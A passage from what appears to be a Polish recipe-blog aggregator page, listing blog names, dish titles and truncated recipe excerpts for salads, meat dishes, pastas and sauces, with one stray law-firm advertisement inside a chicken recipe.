truskawkami lub jabłkiem i kminkiem, mus ze skiełkowanej kaszy gryczanej, bajgle z łososiem i pomarańczą, sałatkę chlebowa z tuńczykiem, kanapkę z omletem, sałatkę ziemniaczaną z jabłkiem, dynię z sosem chmichurri. Ze śniadań na słodko smakowicie wygląda risotto z frużeliną i kisiel marchewkowo-pomarańczowy.   Pyszne poranki. 101 pomysłów na smaczne i zdrowe śniadania Beata Śniechowska Wydawnictwo: Burda Publishing Polska Data

Ugotowane pozamiatane
Klopsiki z serem w ziołach prowansalskich i sosie pieczarkowym 217

się przypalać. Obsmażone wrzucamy na wrzątek. Dodajemy zioła prowansalskie oraz wcześniej lekko podduszone na maśle pieczarki. Dusimy pod przykryciem na wolnym ogniu 20-30 minut. Jeśli jest potrzeba zaciągamy sos odrobiną mąki. Dodajemy 2-3 łyżki gęstej śmietany. Dusimy do zagotowania. Klopsiki podajemy z ulubionymi dodatkami. U mnie kluski łyżką kładzione oraz buraczki

Kuchnia po mojemu
Crepes Suzette - naleśniki z syropem pomarańczowym 225

wymieszać. Dodać masło i mieszać cały czas aż syrop będzie gładki i gęsty. Wlać likier pomarańczowy i wymieszać. Trzymając patelnię na ogniu włożyć jeden naleśnik i wymaczać go w sosie, złożyć w trójkąt i przesunąć na bok patelni, włożyć drugi naleśnik i powtórzyć jak poprzednio. Podobnie postępować z pozostałymi dwoma naleśnikami. Przesmażyć około minuty w bulgoczącym syropie, aby naleśniki dobrze

Pyry na Gaz
Pałki z kurczaka z serkiem Apetina 189

minuty. Gdy cebula lekko się zeszkli dokładamy pokrojone papryki. Smażymy razem jeszcze kilka minut. Następnie dokładamy pomidory z puszki wraz z zalewą. Gotujemy na średnim ogniu, aż sos pomidorowy nieco się zredukuje. Na koniec dodajemy 1 łyżkę serka Apetina, mieszamy. Doprawiamy całość solą, pieprzem i dodajemy drobno posiekane liście bazylii. Podgrzewamy jeszcze około 2-3 minuty, po czym zdejmujemy

Smaki Na Talerzu
Makaron soba z cukinią i brokułami 173

zgodnie z opisem na opakowaniu. Odcedzamy, łączymy z warzywami. Podajemy zaraz po przygotowaniu. Można, zamiast słodkiej papryki, dodać ostrą w proszku. Zamiast oregano można makaron z warzywami połączyć z sosem sojowym

Moja smaczna kuchnia
Makaron ryżowy z brokułem pieczarkami i marynowanym tofu 206

dlatego nie ma go na zdjęciu wszystkich składników) 1-2 łyżki ziaren sezamu marynata do tofu: około 50 ml syropy z agawy lub innego wegańskiego miodu 2 łyżki ciemnego sosu sojowego pół łyżeczki soli 2-3 ząbki czosnku Przygotowanie: Wymieszaj wszystkie składniki do marynaty (czosnek posiekaj bardzo drobno a najlepiej przeciśnij przez praskę). Tofu pokrój

greenscarf
Kulki mięsne z niespodzianką zapiekane w cieście francuskim 203

się przyrumieni, funkcja termoobieg. Warzywa na patelnię przygotować wg przepisu na opakowaniu. Pozostałą brukselkę przekroić na pół i dodać do warzyw. Gotowe kulki podałam z warzywami z patelni oraz sosem czosnkowym

Monia miesza i gotuje
Sałatka z pieczonym burakiem 224

dnia, na drugie śniadanie, musiałem coś z nim wyczarować. Po kilku chwilach, w pudełku na uczelnię już się znalazła sałatka z pieczonym burakiem . Połączenie słodkawego, pieczonego buraka i musztardowego sosu z chrupiącą sałatą i orzechami włoskimi, to zdecydowanie dobry początek dnia. Mi przypadła miseczka sałatki, która pręży się na zdjęciu, natomiast moja konkubina dostała całe pudełko na uczelnię, które (jeśli

Blendman
Kurczak z porem i ananasem 182

kroimy w krążki. Odrywamy kawałki folii aluminiowej. Wykładamy na nią mięso. Każdą pierś obficie posypujemy porem. Wykładamy po łyżce ananasa. Posypujemy tymiankiem (1 łyżka) i curry (1 łyżka). Polewamy sosem z ananasa (2 łyżki). Ciasno zwijamy. Pieczemy w piekarniku nagrzanym do 180 stopni C przez ok. 45 minut. źródło: przepis własny Ilość porcji: 6 Czas przygotowania

Pobite gary Barbary
Frytki z piekarnika – chrupiące! 1926

Frytki z piekarnika – chrupiące! i do tego zdrowsze od tradycyjnych! Jeśli lubicie takie smakołyki to polecam również przepis na: pieczone ziemniaki w piekarniku oraz chrupiące, grillowane ziemniaczki z sosem cebulowym Frytki z piekarnika – chrupiące! – Składniki: 1kg ziemniaków 2 łyżki oleju rzepakowego sól 1 łyżeczka papryki słodkiej w proszku* 1 łyżeczka bazylii* 1 […] The post Frytki

Kulinarne Przeboje
Udka z kurczaka nadziewane pieczarkami 217

spinamy rękaw układamy w brytfannie i wkładamy do piekarnika. Pieczemy w temp 190-200 stopni około 40-45 minut. 15 minut przed końcem pieczenia rozcinamy rękaw, mięso polewamy powstałym sosem i dopiekamy. Zadośćuczynienie to rekompensata za szkodę niemajątkową. Kancelaria odszkodowawcza CODEX to najskuteczniejszy sposób na wysokie odszkodowanie

Podróż w kulinaria
Zupa groszkowo - fasolowa 216

Coraz cieplej na zewnątrz i coraz częściej zamiast ciężkich bigosów i sosów sięgamy po lżejsze dania. W naszym domu wraz z przyjściem wiosny władzę obejmują przeróżne zupy. Począwszy od lekkostrawnych warzywnych, aż po te mniej fit, które z powodzeniem zastępują cały obiad, dając energię na resztę dnia. Dzisiaj w kuchni pachnie zupą inspirowaną tradycyjnym polskim krupnikiem, która jednak w swoim

Kuchnia od dwojga
Sałatka z tuńczykiem i serkiem wiejskim 176

wiecie kocham jeść, ale czasem trzeba poszukać czegoś lekkiego! Myślę, że ta sałatka jest wystarczająco pożywna i jednocześnie nie obciąża nas za bardzo! Składniki: tuńczyk w sosie własnym 4 ogórki konserwowe 4 jajka ugotowane na twardo   serek wiejski 2 ząbki czosnku, 1/2 czerwonej papryki, sól, pieprz   Wykonanie:   Tuńczyka odcedzamy na sicie, dodajemy pokrojone ugotowane na twardo jajka

Kuchnia Beaty
Kaczka znakomita! 192

chrupiąca. Kiedy stwierdzimy, że już ma odpowiedni kolor i chrupkość, kroimy nożycami na pół lub ćwiartki i podajemy z dowolnymi dodatkami. W moim przypadku były to ziemniaczki tłuczone, sos żurawinowy i sałatka z buraczków. Smacznego

Kulinarne przemyslenia
Ryba z ananasem 188

przyprawiamy pieprzem cytrynowym i pastą pomidorową, chwilkę dusimy jeszcze. Następnie dodajemy pokrojony w kostkę ananas, dokładnie mieszamy. W szklanym naczyniu układamy na przemian kawałki ryby oraz przygotowany gorący sos. Tak przygotowaną danie rybne odstawiamy na 24 godz.  Smacznego

kgwjanczewo
Warzywa na patelnie z jajkiem i parmezanem 167

Uwielbiam dania na szybko. Szczególnie warzywa na patelnie. Dzisiaj moja propozycja na takie warzywa podane z sosem na bazie jajka i parmezanu. Koniecznie spróbujcie! Składniki : * opakowanie warzyw na patelnie  * 2 jajka * 100g startego parmezanu  * łyżka masła * sól, pieprz do smaku Przygotowanie : Rozpuścić masło na patelni, dodać warzywa. Przesmażyć, przyprawić do smaku. Jajka ubić, dodać ser. Wymieszać. Dodać

Magiczne Życie Marty
Spaghetti w pomidorach z cukinią 223

cukinia będzie półtwarda dodajemy krojone pomidor. Dusimy na małym ogniu. Na koniec dodajemy suszone oregano i doprawiamy do smaku. Makaron gotujemy zgodnie z opisem na opakowaniu. Ugotowany przekładamy do sosu pomidorowego z cukinią. Starannie mieszamy. Podajemy zaraz po przygotowaniu. Posypujemy każdą porcję posiekaną natką z pietruszki

Moja smaczna kuchnia
Wieprzowina z selerem i piwem 155

Składniki 350 g karczku b/k sól, pieprz, kminek sos sojowy kilka ząbków czosnku 3-4 łodygi selera naciowego 2 cebule szczypta rozmarynu jasne piwo Przygotowanie Mięso posypać przyprawami i odstawić do lodówki na noc. Mocno podsmażyć na patelni z każdej strony i przełożyć do brytfanki na seler, cebulę i czosnek. Podlać piwem (pół butelki wystarczy). Piec ok 1,5 godziny

Gaździnka warzy
Schab z warzywami 179

Składniki 300 g schabu 2 cebule 3-4 ząbki czosnku sos sojowy sól, pieprz, lubczyk, bazylia  kilka listków laurowych kilka ziaren ziela angielskiego  2 marchewki puszka zielonego groszku bulion 1,5 szklanki Przygotowanie Mięso pokroić w kostkę razem z jedną cebulą, przyprawić i zostawić na kilka godzin w lodówce.  Dobrze zamarynowany schab przełożyć do brytfanki podlać bulionem

Gaździnka warzy
placki misz masz 295

tyle różności pozostało... Więc wrzucamy wszystko do miski, wbijamy jajko, dodajemy 3-4 łyżki mąki i ... ...smażymy placki na złoto brązowy kolor :) Podajemy na gorąco, z keczupem lub innym sosem :) Smacznego

chleba naszego
Jak upiec buraki 256

pierwsze trzeba mieć upieczonego buraka. Jak upiec buraka? Jest to banalnie proste i dowiesz się tego poniżej. Jak smakuje pieczony burak? Jest słodkawy, delikatny i pasuje zarówno do słodkich sosów na bazie z miodu, jak i do pikantnych, w których dominuje ostra papryka. Jednym słowem jest bardzo uniwersalny. Czy można jeść buraka ze skórką? Tak! Gdy robię hummus na jego

Blendman
Burger z ciecierzycy na wypasie 168

plasterki. Te ostatnie w szczególności polecam. Są rewelacyjne w smaku!Bardzo dobrze się komponują z delikatnym burgerem. Sprawdź jak upiec buraki . Następnym razem burger z ciecierzycy będzie skąpany w sosie orzechowym lub wegańskim majonezie. Jestem przekonany, że te smaki również świetnie będą się uzupełniały. Artykuł Burger z ciecierzycy na wypasie pochodzi z serwisu Blendman.pl - kuchnia roślinna

Blendman
Dorsz z makaronem w kremowym sosie 286

wstążki 100 mrożonego szpinaku w brykiecie 1 średni por 3 ząbki czosnku 1 serek pomidory i bazylia Apetina pasta paprykowa … Czytaj dalej Dorsz z makaronem w kremowym sosie

czarrna od kuchni
Karkówka pieczona w keczupie z cebulą 2389

przekrawamy na pół i delikatnie rozbijamy. Cebulę kroimy w krążki. Keczup, koncentrat, musztardę, wodę i przyprawy mieszamy ze sobą.  2. Karkówkę i cebulę umieszczamy w dużej misce. Wlewamy sos i mieszamy tak by pokrył mięso i cebulę. 3. Całość przekładamy do naczynia żaroodpornego i pieczemy w temperaturze 200 stopni przez 1,5 h, z czego pierwsze 45 minut

Szefowa kuchni
Sałatka jarzynowa – dieta dr Dąbrowskiej 766

smaku, a majonez zastępuje mus kalafiorowy z chrzanem. Składniki: – 3 marchewki – 2 pietruszki – 1/2 selera, 1 cebula – 2 jabłka – 4 ogórki kiszone Sos – 1/4 kalafiora – 1 łyżeczka chrzanu – czarna sól do smaku, pieprz – 2 liście laurowe, 5 ziaren ziela angielskiego   Wykonanie: – Marchewkę, pietruszkę i seler

To co kocham
Najprostsza sałatka do obiadu, przepis 224

obiadu, to taka co robi się ją w kilka minut, składa się z kilku składników które mamy pod ręką. U mnie ta sałatka towarzyszyła piersi z kurczaka w sosie z harrissy . A przy okazji kolorowa taka bardzo wiosenna.    Najprostsza sałatka do obiadu ( porcja dla dwóch osób )  1 papryka  1 pomidor  1 por ( biała część

Kuchnia na wzgórzu
Zupa z soczewicy, z imbirem i cytryną czyli Zupowy Wtorek odc.89 210

plastreki cytryny oraz soczewice. Całość zalewamy gorącym wywarem. Przykrywamy i zagotowujemy. Zmniejszamy gaz o gotujemy ok 30 minut aż soczewica stanie się miękka. Zupę podajemy posypaną zieleniną i skropioną sosem klonowym, można również użyć cytrynowych plastrów do dekoracji

Dzieje kuchennej Wiewióry
Bułki z kurczakiem i surówką 250

cebulę (1 mała lub połowa dużej). Ogórki kroimy w półplasterki, koperek drobno siekamy i dodajemy do kapusty. Jogurt mieszamy z przeciśniętym przez praskę czosnkiem, doprawiamy solą i pieprzem. Przygotowanym sosem polewamy surówkę. Pomidor kroimy na plasterki. Mięso smażymy na 2 łyżkach oleju. Pod koniec dodajemy pokrojoną w piórka cebulę (1 mała, lub połowa dużej). Bułki kroimy na pół, dolną część

Smaki Na Talerzu
SURÓWKA Z KAPUSTY PEKIŃSKIEJ 221

miodem. Dodajemy sok z cytryny, starty czosnek i szczyptę soli i pieprzu. Stopniowo cały czas mieszając dolewamy oliwę i dokładnie mieszamy, aż składniki połączą się i utworzą jednolity sos. Dodajemy koperek. Mieszamy. Kapustę obieramy z wierzchnich liści i drobno szatkujemy. Wkładamy do miski. Szczypiorek, natkę pietruszki, koperek i papryczkę chili drobno siekamy. Paprykę kroimy w drobną kostkę. Przekładamy do miski

cool and minty
Warsztaty motywacyjne w Akademii Smaku Sokołów 186

słodyczy, lub wprowadzi do swojej diety więcej warzyw? Menu przygotowanie przez szefa kuchni poniekąd wtórowało tym postanowieniom.   Przygotowaliśmy klasyczną sałatkę Cezar w odchudzonej wersji - z filetem maślanym oraz sosem jogurtowym. Danie główne również kusiło smakiem - pieczona polędwica i comber z jelenia z pieczonymi warzywami i kaszotto z płatków owsianych. Nie mogło obejść się bez deseru, ale był to niezwykle

Obiad gotowy
Drobiowe FIT gołąbki w sosie koperkowo- jogurtowym 253

wstawiamy do rozgrzanego piekarnika na 160 stopnie pod przykryciem na 1,5 godzinki , zerkając aby woda nam się nie za mocno wygotowała . Kiedy nasze gołąbki są gotowe , odlewam nasz sos z gołąbków , doprawiam solą pieprzem , dodaję posiekany koper  i zabielam odrobiną mąki ryżowej oraz z jogurtu greckiego , następnie gotowe gołąbki polewamy naszym sosikiem i gotowe do podania

Mój Smak
Bezglutenowe świderki z jarmużem, pomidorem, cukinią i tuńczykiem 147

świderki) 1/2 małej cukinii 3 garście jarmużu (bez twardych gałązek) 6 suszonych pomidorów kurkuma sól pieprz 1 cebula czerwona 1 ząbek czosnku 1/3 szklanki śmietany 18% do zup i sosów olej kokosowy do smażenia 1. Makaron gotujemy al'dente według przepisu na opakowaniu. 2. Na patelni rozgrzewamy olej kokosowy, wrzucamy pokrojoną w piórka cebulę i czosnek przepuszczony przez praskę. Następnie

kruche babeczki
Gulasz z kurczaka z pieczarkami 315

Przyłapana na gorącym uczynku. Wczoraj po południu. W postaci zakwitających bazi. Wiosna!  Propozycja na w miarę szybki obiad. Gulasz z sosem to nic wielkiego, ale czasami ma się też ochotę na zwykłe dania, nie wymagające wielogodzinnego siedzenia przy garach. Składniki: 2 filety z kurczaka 500 g pieczarek 1 cebula kawałek pora szklanka wody 1/4 szklanki mleka 2 łyżki mąki

My simple kitchen
Surówka z zielonego ogórka 174

półksiężyce. Do miseczki wlać oliwę, dodać sok z cytryny, miód, czosnek przeciśnięty przez praskę oraz sól i pieprz do smaku. Wszystko dokładnie wymieszać. Do ogórków dodać cebulę, polać sosem, wymieszać. Gotowe, Smacznego

magiczna kuchnia Kasi
Polędwiczki wieprzowe w kremowym sosie. 212

podsmażamy z obu stron na maśle, zalewamy wodą tak aby przykryć polędwiczki. Na osobnej patelni szklimy pokrojoną w kostkę cebulkę i dodajemy ją do polędwiczek. Serki stopniowo przekładamy do sosu, mieszając do rozpuszczenia. Gotujemy na małym ogniu do miękkości mięsa (około 30 minut). Podajemy z ryżem lub kaszą. Smacznego

Moje-pitraszenie
WSPÓŁPRACA ORZECH 244

firmą ORZECH . Firma ta posiada w swoje ofercie bardzo duży asortyment przetworów i produktów warzywnych i owocowych. ORZECH oferuje nam min. buraczki, ogórki,pieczarki,sałatki, patisony, pikle,powidła,sosy.  Ja w swojej paczce,którą dostałam od firmy ORZECH znalazłam:  SAŁATKA PATISONOWA   http://www.orzech.com.pl/pl/produkt/salatka-z-patisona Idealnie nadaje się do dań obiadowych, mięs,ryb i wędlin.  SKŁADNIKI: Składniki

Gotowanie Patki
Falafel idealny 216

smażyć po 1 minucie z każdej strony, do zrumienienia. Usmażone wyławiać drucianą łyżką cedzakową i odkładać na papierowy ręcznik, by odsączyć nadmiar tłuszczu podawać w picie (przepis tutaj ), z sosem tahini i dużą ilością ulubionych warzyw

Gotuj zdrowo!Guten Appetit!
#LUMIXPOLSKA #EXPERIENCEFRESH / SPAGHETTI W ZIOŁOWYM SOSIE Z PARMEZANEM I ORZECHAMI PEKAN 177

oliwę, olej, sól, dwie łyżki parmezanu, jedną garść orzechów, papryczkę chilii i sok z cytryny. Masa musi być jednolita i gładka.  Do ugotowanego i odcedzonego makaronu dodajemy zielony sos. Porcje nakładamy na talerze, posypujemy obficie orzechami i parmezanem. Dodatkowo możesz skropić cytryną i udekorować świeżymi ziołami! Pyszne danie, które zrobicie w 15 minut! Takie są po prostu najlepsze! Cudownego

SMYKWKUCHNI
Tortille z pulled pork i frytkami selerowymi 294

Obłędny, domowy fast food. Połączenie chrupiącego, słodkawego selera, długo gotowanej wieprzowiny i wyrazistego, jogurtowego sosu, to uczta dla kubków smakowych 🙂 Tortille podałam na przepięknej wypalanej desce od Deseczkowo 🙂 … Czytaj dalej Tortille z pulled pork i frytkami selerowymi

czarrna od kuchni
Gołąbki w liściach kiszonej kapusty z sosem grzybowym 145

rondlu, na dnie którego rozłożyłem kilka liści , przekładając je kawałkami wędzonego mięsa. Zalałem wodą wymieszana z sokiem z kiszonej kapusty. Zapiekałem pod przykryciem ok. 3 godz. Podałem z sosem grzybowym

R'n'G Kitchen
Spaghetti w pomidorowym pesto z serem korycińskim 257

czarnuszką) 1 czubata łyżka posiekanej zielonej pietruszki (+do posypania po wierzchu) 2 czubate łyżki pesto rosso* 1/2 czerwonej cebuli około 2 łyżki oliwy z oliwek lub miksu tłuszczów *pomidorowy sos Pesto z suszonymi pomidorami, bazylią, orzechami nerkowca, serem Grana Padano i Pecorino Przygotowanie: Ser koryciński (z dodatkami lub bez) trzemy na tarce na grubych oczkach – na tą porcję około

Słodkie okruszki
SAŁATKA Z SELEREM NACIOWYM, OWOCAMI I SEREM PLEŚNIOWYM 266

awokado, jabłko, posiekane orzechy, a na wierzch ziarenka granatu.  W kubku mieszamy majonez z jogurtem greckim oraz musztardą. Dodajemy sok z cytryny, sól oraz pieprz. Mieszamy i gotowym sosem polewamy wierzch sałatki

Kuchnia MagdaLeny
Sałatka jajeczna z masłem 1178

ułożona w szklanych pucharkach takich do podania na raz, doskonale sprawdzi się na świątecznym stole. Sposób przygotowania: 4 szklane pucharki: 5 jaj od szczęśliwych kurek 1 puszka tuńczyka w sosie własnym 10 dag ostrego sera żółtego np cheddar 10 dag zmrożonego masła 3 cebule dymki ze szczypiorem Majonez do posmarowania Sposób przygotowania: Jajka ugotować na twardo, obrać, oddzielić osobno żółtka

Wanilia i Kardamon
Sałatka After Party 232

robię gdy po imprezie domowej zostaje mi szynka, ser, czasem też gdy ugotuje się za dużo makarony do pomidorowej i można spokojnie wszystkie składniki wtórnie wykorzystać. Wystarczy dodać sos, dwie puszki i mamy pyszną sałatkę. Składniki: 300 - 400 makaronu typu świderki, wstążki 1 puszka kukurydzy 1 puszka czerwonej fasoli firmy Jamar 200 g dowolnej szynki 200 g żółtego sera

W Moim Magicznym Domu
Sprawdzony przepis na pieczonego indyka w pomarańczach, czyli jak szybko zrobić udziec indyka z piekarnika 321

obowiązuje zasada 1 kg mięsa – 1 godzina pieczenia). Po godzinie możesz zmniejszyć temp. do 180°C i zdjąć plasterki pomarańczy z indyka. Od czasu do czasu polej indyka aromatycznym sosem. Upieczony udziec pokrój w plastry i podaj z ziołowymi ziemniaczkami i ulubioną surówką. Składniki udziec z indyka ok. 1,5 kg 4 pomarańcze – sok z dwóch pomarańczy i dwie

Eat me! Fit me!
Kotlety ryżowe z curry 191

doskonale. Nie dość, że nadaje kotletom ciekawego smaku, to jeszcze pięknie barwi je na złoto. Kotlety ryżowe serwować możecie jako danie obiadowe. Podajcie je z surówką i ewentualnie jakimś sosem - pomidorowym, grzybowym lub innym. Kotlety ryżowe to także fajna alternatywa dla burgerów. I tak - bułka z ryżem może dobrze smakować :D Składniki: 1 torebka ugotowanego ryżu ( u mnie pełnoziarnisty

kolorowotorcikowo
Makaron z marchewki w miodzie i pomarańczach / Orange and honey glazed carrot spaghetti 317

Takim też sposobem powstało spaghetti z marchewki w glazurze z pomarańczy i miodu z odrobiną octu balsamicznego dla przełamania słodyczy. Polecam do wszystkiego, ja podałam go ze schabowymi w sosie musztardowym i puree ziemniaczanym i całość bardzo dobrze się skomponowała. Polecam gorąco! Scroll down for recipe in English Makaron z marchewki w miodzie i pomarańczach (4-5 porcji) Składniki

karmelowy
Szybka surówka ogórkowo-porowa (z ogórkiem kiszonym) 229

doskonałe uzupełnienie i wzbogacenie każdego dania. Dziś polecam Wam kolejną pyszną i szybką surówkę. Surówka ogórkowo-porowa (z ogórkiem kiszonym) smakuję wspaniale z daniami mięsnymi czy kluskami śląskimi w sosie. Spróbujcie. W prostocie tkwi siła Składniki: (na porcję) 2 większe ogórki kwaszone około 2-2,5 cm pora (biała część) 2 łyżki majonezu pieprz czarny (u mnie Skworcu ) sól

Słodkie okruszki
Pieczeń wołowa 211

przygotować bardzo duży kawałek folii aluminiowej. Na środek przygotowanej folii wysypujemy część ziół. Następnie na to kładziemy podsmażony kawałek mięsa, a na to pozostałą część ziół. Pozostałe mięso i sos z patelni wylewamy również na wołowinę. Całość szczelnie zawijamy folią. Piekarnik nagrzewamy do temperatury 100 stopni. Mięso pieczemy przez 1,5 godziny

FoodMagazine.pl - Przepisy kulinarne
STRANGOLAPRETI – GNOCCHI SZPINAKOWE Z CZERSTWEGO CHLEBA 310

tylko kilka prostych składników,a w tym wypadku główną role odrywa czerstwe pieczywo i szpinak. Czy takie połączenie może być dobre? Jest genialne! Podane z masłem, parmezanem albo np. sosem z gorgonzoli tworzą fantastyczną całość , której nikt się nie oprze. Ja się w nich totalnie zakochałam! Spróbujcie Wy! SKŁADNIKI: * świeży szpinak – 500 g * czerstwe pieczywo – 250 g * ricotta

Ostra na Słodko
MAKARON ZE SZPINAKIEM I SEREM FETA 145

wiotki. Następnie wlać puszkę pomidorów bądź przecier pomidorowy,doprawić pieprzem,ewentualne solą ( z solą delikatnie gdyż ser feta jest słony). Ugotowany makaron odcedzić,wrzucić na patelnię,dokładnie wymieszać z sosem. na końcu dorzucić pokrojony w kostkę ser feta i delikatnie zamieszać

Niespełnione zdolności kulinarne
Makaron z wędzoną makrelą 195

białego wina (najlepiej Marsali) 1 łyżka octu z czerwonego wina świeżo mielony czarny pieprz oliwa z oliwek * PRZYGOTOWANIE Makaron ugotuj al dente w osolonym wrzątku. W tym czasie przygotuj sos. Makrelę obierz, oddziel mięso i pozbaw je ości. Rodzynki zalej wrzątkiem do przykrycia i odstaw na 5 minut. Na oliwie zeszklij drobno posiekane szalotki. Następnie dodaj rodzynki wraz z wodą

Food Square
Śledzie z porem i jabłkiem w śmietanie 230

Dziś rządzą śledzie. Tradycyjne z cebulką w oleju, z cytryną i olejem lnianym, z buraczkami, w sosie curry lub musztardowym... Absolutnym zaskoczeniem smakowym u nas okazały się śledzie z porem, jabłkiem i śmietaną. Tak przygotowane śledzie potrzebują jednak czasu na przegryzienie się, więc jeśli zrobicie je dziś, to na weekend będą w sam raz.  Do przygotowania tego dania użyłam

Obiad gotowy
Placuszki z kwaśnego mleka 148

wielką fanką. Bywało, że matka się nasmażyła, napiekła, a dziecko ugryzło i tyle było z jedzenia. Moje dziecię jest wybitnie mięsno-ziemniaczano-jajeczne, a jakieś placuszki nawet z rozmaitymi sosami stoją na drugim miejscu. Teraz jest mały L. więc próbujemy różnych glutenowych i bezglutenowych placuszków. Te są super gdy mamy dobre wiejskie mleczko i specjalnie trochę zostawimy do skwaszenia

Mania Wypiekania
Sałatka z truskawkami i szpinakiem 238

cytryny sól pieprz Sposób przygotowania : Ocet balsamiczny odparuj na suchej patelni, zlej do słoika, dodaj sok z cytryny, sól, pieprz. Zakręć słoiczek i mocno nim potrząsaj, aż składniki sosu się połączą. Cebulę obrać, pokroić w pół

Menu Zdrowia
Makaronowa zapiekanka z kurczakiem, brokułem i gorgonzolą 1860

około 2 minuty. Następnie, wciąż mieszając, by nie utworzyły nam się grudki, dolewamy mleko. Po chwili dodajemy połamaną na kawałki gorgonzolę. Gotujemy, mieszając co jakiś czas, do wyraźnego zgęstnienia sosu i całkowitego rozpuszczenia się sera. Doprawiamy solidną szczyptą soli, pieprzu oraz gałki muszkatołowej. Makaron przekładamy do garnka, w którym się gotował. Mieszamy razem z podsmażonym kurczakiem oraz przygotowanym beszamelem. Przekładamy

Smaki Na Talerzu
Sałatka jesienna z kapusty pekińskiej 207

się uda to na trzy części. Mieszamy z kapustą, oraz dodajemy kukurydze. Skrapiamy oliwą, przyprawiamy solą i pieprzem. Do polania sałatki można także użyć jednego z wielu łatwo dostępnych sosów sałatkowych z torebek, rozrabianych z wodą i oliwą. Sałatka nadaje się do podania jako samodzielna przekąska, ale najlepiej smakuje jako dodatek do obiadu, świetnie komponuje się tradycyjnym polskim schabowym. Jedyną

Tanie przepisy studenckie
Tortellini zapiekane w sosie brokułowym z łososiem 291

Szybkie danie idealne na imprezy lub na obiad. Smacznego Brokuły umyć i podzielić na różyczki. Do dużego garnka wlać wodę, osolić i wrzucić brokuły. Gotować 3

Kuchnia Pokoleń
Grzanki z batatów z serem żółtym i pesto 189

bezglutenowe grzanki. Są doskonałe, a robi je się dosłownie 10 minut.   Składniki: 2 duże bataty pokrojone w plasterki grubości ok. 1 centymetra 100 g tartego żółtego sera kupny sos pesto zielenina do dekoracji – u mnie koperek, ale mogą być listki bazylii, szczypiorek itp. pieprz   Jak przygotować grzanki z batatów z serem żółtym i pesto?   Bataty zapiekamy

Ugotowane pozamiatane
Ocet lawendowy do sałatek 161

Jeśli lubicie ocet jabłkowy jako dodatek do sałatek czy baza do sosu winegret, to powinniście przetestować jego bardziej aromatyczny odpowiednik. Winegret na bazie octu lawendowego robi się tak samo jak zwykły. Ja mieszam dokładnie 5 łyżek oliwy, łyżkę octu, łyżkę musztardy i odrobinę świeżo mielonego pieprzu. Taki sam ocet można zrobić też z fiołków – już niedługo będzie

Ugotowane pozamiatane
Piersi z kurczaka faszerowane suszonymi pomidorami i mozzarellą . 191

pomidorów, położyć na nim mięso, polać resztą oleju i wstawić do piekarnika. Piec około 25 minut. Podawać z ziemniaczkami i surówką, pokrojone w poprzek na 3 cm kawałki, polane sosem pozostałym z pieczenia. Z podanych składników wychodzą 4 porcje. Smacznego! Autor: Mama

Moja Mama Gotuje
Cukinia faszerowana pieczarkami, kaszą gryczaną i suszonymi pomidorami. 186

połówki cukinii  napełnij nadzieniem i wstaw do piekarnika na około 20 minut. Podawaj posypane natką pietruszki i z dowolną sałatką np. z kapusty pekińskiej lub zieloną sałatą z sosem vinegret. Autor: Mama

Moja Mama Gotuje
Makaron z brokułami 200

jest elementem talerza niezwykle prostym w przygotowaniu, a można go przygotować na różne sposoby w zależności od dania, którego ma być częścią. Ugotowany tradycyjnie, miękki, al dente, przyprawiony, w sosie. Makaron jest niesamowitym kompanem do wszystkich dań i każdy, nawet początkujący kucharz jest w stanie stworzyć z niego swoje dzieło sztuki. Jest on jednak cały czas dodatkiem do potraw

Moja Mama Gotuje
Biała kiełbasa z pieczarkami i cebulką 183

Kiedy pieczarki z cebulką i kiełbasą przesmażyły się , zalewam pomidorami z puszki , dodaję warzywko , oraz szklankę wody , gotuję wszystko razem na małym ogniu po momentu jak woda wypruję i sos zrobi się gęstawy , następnie doprawiam do smaku solą oraz pieprzem posypuję posiekanym koprem  i gotowe do podania

Mój Smak
Schab po góralsku 2376

przepis znalazłam na tym blogu, przyznam szczerze że na początku mnie do siebie nie przekonał... Połączenie schabu, kapusty kiszonej i sosu mącznego na pozór może wydawać się okropne, okazało się inaczej! Danie jest bardzo szybkie do tego, cała rodzina może najeść się do pełna, a smak jest zupełnie inny niż w znanych mi do tej pory zapiekankach. Czytaj więcej

Pychotkaaa
Faszerowane pieczarki w cieście piwnym 204

każdym przyjęciu lub smaczną niespodzianką podczas obiadu. Pieczarki smażone są w cieście piwnym, nadziewane bryndzą i pachnące pietruszką. Mogą być podane z różnym ulubionymi sosami np. czosnkowym, lub z surówkami. Składniki: – 500 g niedużych pieczarek, ok. 25 sztuk Farsz – trzonki pieczarek – 150 g bryndzy – 2 łyżki posiekanej natki pietruszki – pieprz

To co kocham
Wegański placek po więgersku 233

odcedzamy i zostawiamy do wystygnięcia.  Po tym czasie kotlety kroimy w większą kostkę.  Uwaga: Bulion w którym gotowały się kotlety, możemy użyć jako bazę do przygotowania sosu. Taki bulion możemy przechować w lodówce i wykorzystać później.  2. Cebule obieramy, myjemy i kroimy w kostkę.  Paprykę myjemy oczyszczamy z gniazda nasiennego i kroimy w kostkę

Mój pomysł na
Sałatka z rukolą, ananasem i migdałami 189

łyżeczki soku z cytryny (ok. 10 ml), - tarta skórka z cytryny. Sposób przygotowania 1. Mieszamy rukolę z pokrojonym w kostkę ananasem i migdałami. 2. Sałatkę polewamy sosem (mieszamy sok z cytryny z miodem i skórką z cytryny). Sałatka jest bogata w: - błonnik pokarmowy, który obniża poziom cholesterolu i daje uczucie sytości, - antyoksydanty, które działają przeciwnowotworowo, - magnez (pochodzący z migdałów), który

Zdrowe odżywianie w pięciu smakach
Siewcy Smaku na warszawskich Koszykach 196

ostatnią nowością czyli z pieczonym batatem. Szczerze powiedziawszy to bardzo trudno jest mi wybrać faworyta, ale jednak numerem jeden zostanie pieczony batat z cieciorką z masłem orzechowym, sosem z granatów, rukolą, pieczonym boczniakiem, serkiem labneh i miętą. Była to pyszna kompozycja smaków ! Zdecydowanie do powtórzenia. Koszyk z batatem Koszyk z indykiem Siewcy Smaków Hala Koszyki Warszawa, ul. Koszykowa 63 lok.10

Kulinarne przygody Gatity
Tofu we włoskiej marynacie 216

jakiś czas obracamy słoik, gdyż marynata będzie spływać na dno. Po tym czasie smażymy tofu na niewielkiej ilości oleju.  To wspaniały pomysł na obiad z dodatkiem pomidorowego sosu lub jako składnik sałatki. Życzę smacznego! :) Przepis zaczerpnięty ze strony www.pelnalodowka.pl

Czerwona Porzeczka
Risotto z dynią piżmową 216

